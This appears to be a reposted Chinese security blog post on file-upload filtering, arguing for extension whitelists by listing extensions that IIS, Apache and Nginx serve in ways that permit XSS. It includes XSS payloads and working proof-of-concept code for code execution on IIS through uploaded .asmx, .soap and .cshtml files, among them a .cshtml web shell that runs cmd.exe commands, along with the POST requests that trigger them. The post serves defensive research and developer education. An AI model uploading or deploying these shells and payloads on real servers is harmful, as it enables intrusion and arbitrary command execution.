zoukankan      html  css  js  c++  java
  • 特殊后缀上传(为什么用白名单不用黑名单)

    通常,在编写负责文件上传的代码时,您会使用“白名单”(当您只能上传具有某些扩展名的文件时)或“黑名单”(当您可以上传任何文件时,检查下载文件的扩展名)不包括在列表中)。

    @ ldionmarcil的 职位,我决定要了解网络的服务器如何流行的各类扩展的互动。首先,我对Web服务器在不同文件类型上返回哪种内容类型感兴趣。

    开发人员通常在黑名单中仅包含众所周知的扩展名。在本文中,我不想考虑不广泛使用的文件类型。

    为了演示PoC,我使用了以下负载:

    • 基本的XSS有效负载: <script>alert(1337)</script>
    • 基于XML的XSS有效负载: <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

    下面,我将显示这项小研究的结果。


    IIS Web服务器

    默认情况下,IIS以文件类型上的text / html内容类型作为响应,其显示在下面的列表中:

    基本向量的扩展:

    • .cer
    • .hxt
    • .htm

    替代文字

    因此,可以将基本的XSS向量粘贴到上载的文件中,打开文档后,我们将在浏览器中显示一个警告框。下面的列表包括IIS对其进行响应的扩展,其内容类型允许通过基于XML的向量执行XSS。

    基于XML的矢量扩展:

    • .dtd
    • .mno
    • .vml
    • .xsl
    • .xht
    • .svg
    • .xml
    • .xsd
    • .xsf
    • .svgz
    • .xslt
    • .wsdl
    • .xhtml

    替代文字

    默认情况下,IIS还支持SSI,但是出于安全原因,禁止执行部分

    SSI扩展:

    • .stm
    • .shtm
    • .shtml

    替代文字

    有关SSI更详细的信息被写在帖子@ldionmarcil

    此外:

    还有另外三个有趣的扩展名(.asmx和.soap和.cshtml),它们可能导致任意代码执行。它是与Yury Aleinov(@YuryAleinov)合作发现的。

    Asmx扩展

    1. 如果您可以上传扩展名为.asmx的文件,则可能导致任意代码执行。例如,我们获取了具有以下内容的文件:

      <%@ WebService Language="C#" Class="MyClass" %>
      using System.Web.Services;
      using System;
      using System.Diagnostics;
      
      
       [WebService(Namespace="")]
       public class MyClass : WebService 
       {
           [WebMethod]
           public string Pwn_Function()
           {
               Process.Start("calc.exe");
               return "PWNED";
           }
       }
      

      替代文字

    2. 然后,我们向发布的文档发送了POST请求:

      POST /1.asmx HTTP/1.1
      Host: localhost
      Content-Type: application/soap+xml; charset=utf-8
      Content-Length: 287
         
      <?xml version="1.0" encoding="utf-8"?>
      <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
        <soap12:Body>
          <Pwn_Function/>
        </soap12:Body>
      </soap12:Envelope>
      

      替代文字

    3. 结果,IIS执行了“ calc.exe”

    cshtml

    上传下面内容的cshtml

    @using System.CodeDom.Compiler;
    @using System.Diagnostics;
    @using System.Reflection;
    @using System.Web.Compilation;
    @functions {
    string ExecuteCommand(string command, string arguments = null)
    {
    var output = new System.Text.StringBuilder();
    var process = new Process();
    var startInfo = new ProcessStartInfo
    {
    FileName = command,
    Arguments = arguments,
    WorkingDirectory = HttpRuntime.AppDomainAppPath,
    RedirectStandardOutput = true,
    RedirectStandardError = true,
    UseShellExecute = false
    };
    process.StartInfo = startInfo;
    process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
    process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                 process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();
    process.WaitForExit();
    return output.ToString();
    }
    }
       @{
    var cmd = ExecuteCommand("cmd.exe", "/c whoami");
         }
    Output of the injected command (killer):
    @cmd
    

    soap扩展名

    具有.soap扩展名的上传文件的内容:

    <%@ WebService Language="C#" Class="MyClass" %>
    using System.Web.Services;
    using System;
    
    public class MyClass : MarshalByRefObject
    {
        public MyClass() { 
    	    System.Diagnostics.Process.Start("calc.exe");
    	}		     
    }
    

    SOAP请求:

    POST /1.soap HTTP/1.1
    Host: localhost
    Content-Length: 283
    Content-Type: text/xml; charset=utf-8
    SOAPAction: "/"
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <MyFunction />
      </soap:Body>
    </soap:Envelope>
    

    替代文字


    Apache(httpd或Tomcat)

    基本向量的扩展:

    • .shtml
    • .html.de或.html.xxx(xxx-任何字符)*

    基于XML的矢量扩展:

    • .rdf
    • .xht
    • .xml
    • .xsl
    • .svg
    • .xhtml
    • .svgz

    *如果扩展名中“ .html。”后面有任何字符,则Apache将以text / html content-type进行响应。

    替代文字

    此外:

    Apache对大量具有不同扩展名的文件返回不带Content-type标头的响应,这允许XSS攻击,因为浏览器通常决定如何自行处理此页面。本文包含有关此问题的详细信息。例如,扩展名为.xbl和.xml的文件在Firefox中的处理方式类似(如果响应中没有Content-Type标头),因此有可能在此浏览器中使用基于XML的向量来利用XSS。


    Nginx的

    基本向量的扩展:

    • .htm

    基于XML的矢量扩展:

    • .svg
    • .xml
    • .svgz
  • 相关阅读:
    栈的概念
    什么是 JavaConfig?
    数据库连接池的原理。为什么要使用连接池。
    根据你以往的经验简单叙述一下MYSQL的优化
    动态横切
    横切技术
    什么是AOP
    BIO ,NIO ,AIO 有什么区别?
    简述Comparable和Comparator两个接口的区别
    Spring Boot 客户端?
  • 原文地址:https://www.cnblogs.com/cwkiller/p/11627049.html
Copyright © 2011-2022 走看看